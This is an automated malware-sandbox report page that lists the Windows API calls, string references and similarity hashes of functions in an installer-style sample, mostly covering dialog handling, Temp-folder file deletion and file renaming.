Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction ID: 8a45afd3ee22384d80319c7ed67abe130e578f1d2b392c1e8909742cb30e522b
Opcode Fuzzy Hash: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction Fuzzy Hash: FCA192B1900208ABDB11EFA5DD45BAFB7B8EF84314F11803BF611B62D1D77C9A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405C63 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,756F3420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405C8C
lstrcatW.KERNEL32(0042EA70,\*.*), ref: 00405CD4
lstrcatW.KERNEL32(?,0040A014), ref: 00405CF7
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,756F3420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CFD
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,756F3420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405D0D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DAD
FindClose.KERNEL32(00000000), ref: 00405DBC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C70
\*.*, xrefs: 00405CCE
pB, xrefs: 00405CBC

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-3745753000
Opcode ID: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
Instruction ID: 3df5019795aaf58f6817f8e3609a5bcb0d9fa216103f8ca083ea3247371bac5c
Opcode Fuzzy Hash: 22bb0f4a0285bec378f517b8b25bc548c1454a96ed25189fc1485adbf29640f7
Instruction Fuzzy Hash: 2441B231400A14BADB21BB65DC8DAAF7678EF81714F24813BF801B11D1DB7C4A81DEAE

Uniqueness

Uniqueness Score: -1.00%

Function 004068B4 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,0042FAB8,0042F270,00405F77,0042F270,0042F270,00000000,0042F270,0042F270, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,756F3420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
FindClose.KERNEL32(00000000), ref: 004068CB

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 0f602bcf77736d61886636fd33b874369bd8b56ce32760b4adaf045605f9a717
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 24D012725161309BC2406738AD0C84B7B58AF15331751CA37F56BF21E0D7348C6387A9

Uniqueness

Uniqueness Score: -1.00%

Function 004021AF Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040222E

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: a90b5541f70cc3965861c320ab0ae6f4864bd50261fd75e99cc6532b3daacbe6
Instruction ID: f0c409d0c9855dc16f3492d495f607d4fcaf843261c47ee8c1995525671fe781
Opcode Fuzzy Hash: a90b5541f70cc3965861c320ab0ae6f4864bd50261fd75e99cc6532b3daacbe6
Instruction Fuzzy Hash: 76411471A00208AFCB40DFE4C989EAD7BB5FF48308B20457AF515EB2D1DB799982CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402910 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291F

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 5b0fb285c9b4bcb701b5bdc638fb86233a16d4678ca4d14c0689f288dbcc861d
Instruction ID: 4f8030157269cd498ea314d5a86e386b0cfb994e1dea9c94a4400a3869289cfc
Opcode Fuzzy Hash: 5b0fb285c9b4bcb701b5bdc638fb86233a16d4678ca4d14c0689f288dbcc861d
Instruction Fuzzy Hash: 17F08C71A04104AAD701EBE4EE499AEB378EF14324F60457BE102F31E0DBB85E159B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: a5eb8001d75a17d38d83411349fde439c8a9064fda1b18d7f978e280ae41e255
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: ACE19C71A04709DFCB24CF58C880BAABBF1FF45305F15852EE496A72D1E378AA51CB05

Uniqueness

Uniqueness Score: -1.00%

Function 0040759D Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction ID: e409ec8ffb443055957628c835c79614664982182129ebc37b3e11cb9bcd83e5
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: ECC14772E04219CBCF18CF68C4905EEBBB2BF98354F25866AD85677380D7346942CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404F43 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F5B
GetDlgItem.USER32(?,00000408), ref: 00404F66
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FB0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FC7
SetWindowLongW.USER32(?,000000FC,00405550), ref: 00404FE0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FF4
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405006
SendMessageW.USER32(?,00001109,00000002), ref: 0040501C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405028
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040503A
DeleteObject.GDI32(00000000), ref: 0040503D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405068
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405074
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040510F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040513F

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405153
GetWindowLongW.USER32(?,000000F0), ref: 00405181
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040518F
ShowWindow.USER32(?,00000005), ref: 0040519F
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040529A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052FF
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405314
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405338
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405358
ImageList_Destroy.COMCTL32(?), ref: 0040536D
GlobalFree.KERNEL32(?), ref: 0040537D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053F6
SendMessageW.USER32(?,00001102,?,?), ref: 0040549F
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054AE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054D9
ShowWindow.USER32(?,00000000), ref: 00405527
GetDlgItem.USER32(?,000003FE), ref: 00405532
ShowWindow.USER32(00000000), ref: 00405539

Strings

, xrefs: 00405511
N, xrefs: 004051D8
M, xrefs: 004050F7

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction ID: 91097811874ce85ba3cc7540bcf7dd58db25a3d6f071223140e4d1ec27d7ea12
Opcode Fuzzy Hash: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction Fuzzy Hash: 6C029C70900608AFDF20DF94DD85AAF7BB5FB85314F10817AE611BA2E1D7798A41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403FD7 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404013
ShowWindow.USER32(?), ref: 00404033
GetWindowLongW.USER32(?,000000F0), ref: 00404045
ShowWindow.USER32(?,00000004), ref: 0040405E
DestroyWindow.USER32 ref: 00404072
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040408B
GetDlgItem.USER32(?,?), ref: 004040AA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040BE
IsWindowEnabled.USER32(00000000), ref: 004040C5
GetDlgItem.USER32(?,00000001), ref: 00404170
GetDlgItem.USER32(?,00000002), ref: 0040417A
SetClassLongW.USER32(?,000000F2,?), ref: 00404194
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041E5
GetDlgItem.USER32(?,00000003), ref: 0040428B
ShowWindow.USER32(00000000,?), ref: 004042AC
EnableWindow.USER32(?,?), ref: 004042BE
EnableWindow.USER32(?,?), ref: 004042D9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042EF
EnableMenuItem.USER32(00000000), ref: 004042F6
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040430E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404321
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040434B
SetWindowTextW.USER32(?,0042CA68), ref: 0040435F
ShowWindow.USER32(?,0000000A), ref: 00404493

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction ID: 911e0a6aef898d83942fe666095560f38e6effa11f08765efd6836b1f10f2e9c
Opcode Fuzzy Hash: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction Fuzzy Hash: 29C1B0B1500204BBDB206F61EE89A2B3A68FB85756F01053EF781B51F0CB3958929B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00404695 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404733
GetDlgItem.USER32(?,000003E8), ref: 00404747
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404764
GetSysColor.USER32(?), ref: 00404775
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404783
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404791
lstrlenW.KERNEL32(?), ref: 00404796
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047A3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047B8
GetDlgItem.USER32(?,0000040A), ref: 00404811
SendMessageW.USER32(00000000), ref: 00404818
GetDlgItem.USER32(?,000003E8), ref: 00404843
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404886
LoadCursorW.USER32(00000000,00007F02), ref: 00404894
SetCursor.USER32(00000000), ref: 00404897
LoadCursorW.USER32(00000000,00007F00), ref: 004048B0
SetCursor.USER32(00000000), ref: 004048B3
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048E2
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048F4

Strings

N, xrefs: 00404831

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction ID: 3ad42440e7936429012ccc374b67200ab01768f99e4ad58672f49272ac14a637
Opcode Fuzzy Hash: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction Fuzzy Hash: 2E6181B1900209BFDB10AF60DD85EAA7B69FB84315F00853AFA05B62D0C779A951DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040619D Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406338,?,?), ref: 004061D8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 004061E1

Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FBC
Part of subcall function 00405FAC: lstrlenA.KERNEL32(00000000,?,00000000,00406291,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FEE

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 004061FE
wsprintfA.USER32 ref: 0040621C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406257
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406266
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040629E
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062F4
GlobalFree.KERNEL32(00000000), ref: 00406305
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040630C

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,00442800,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

Strings

[Rename], xrefs: 00406286, 00406298
%ls=%ls, xrefs: 00406212

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction ID: 2f157a22eecee44515c187ff3daf75b9e7e255f904fde787f0dd9ddf92a1116e
Opcode Fuzzy Hash: 7d01897451b1442b79f1fbad31b5db9882c2a06ae1a72dd2fb598b53c99231a5
Instruction Fuzzy Hash: C9312271200315BBD2206B619D49F2B3A5CEF85718F16043EFD42FA2C2DB7D99258ABD

Uniqueness

Uniqueness Score: -1.00%

Function 0040453D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040455A
GetSysColor.USER32(00000000), ref: 00404598
SetTextColor.GDI32(?,00000000), ref: 004045A4
SetBkMode.GDI32(?,?), ref: 004045B0
GetSysColor.USER32(?), ref: 004045C3
SetBkColor.GDI32(?,?), ref: 004045D3
DeleteObject.GDI32(?), ref: 004045ED
CreateBrushIndirect.GDI32(?), ref: 004045F7

Memory Dump Source

Source File: 00000000.00000002.1242324043.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1242311747.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242337097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242349157.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1242406089.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yU3icg18lq.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 069c4eaec478219780f05c004fc5973679282d3c2eb16bc8cec9dcb23997e36d
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 592151B1500704ABCB20DF68DE08A5B7BF8AF41714B05892EEA96A22E0D739E944CF54

Uniqueness

Uniqueness Score: -1.00%

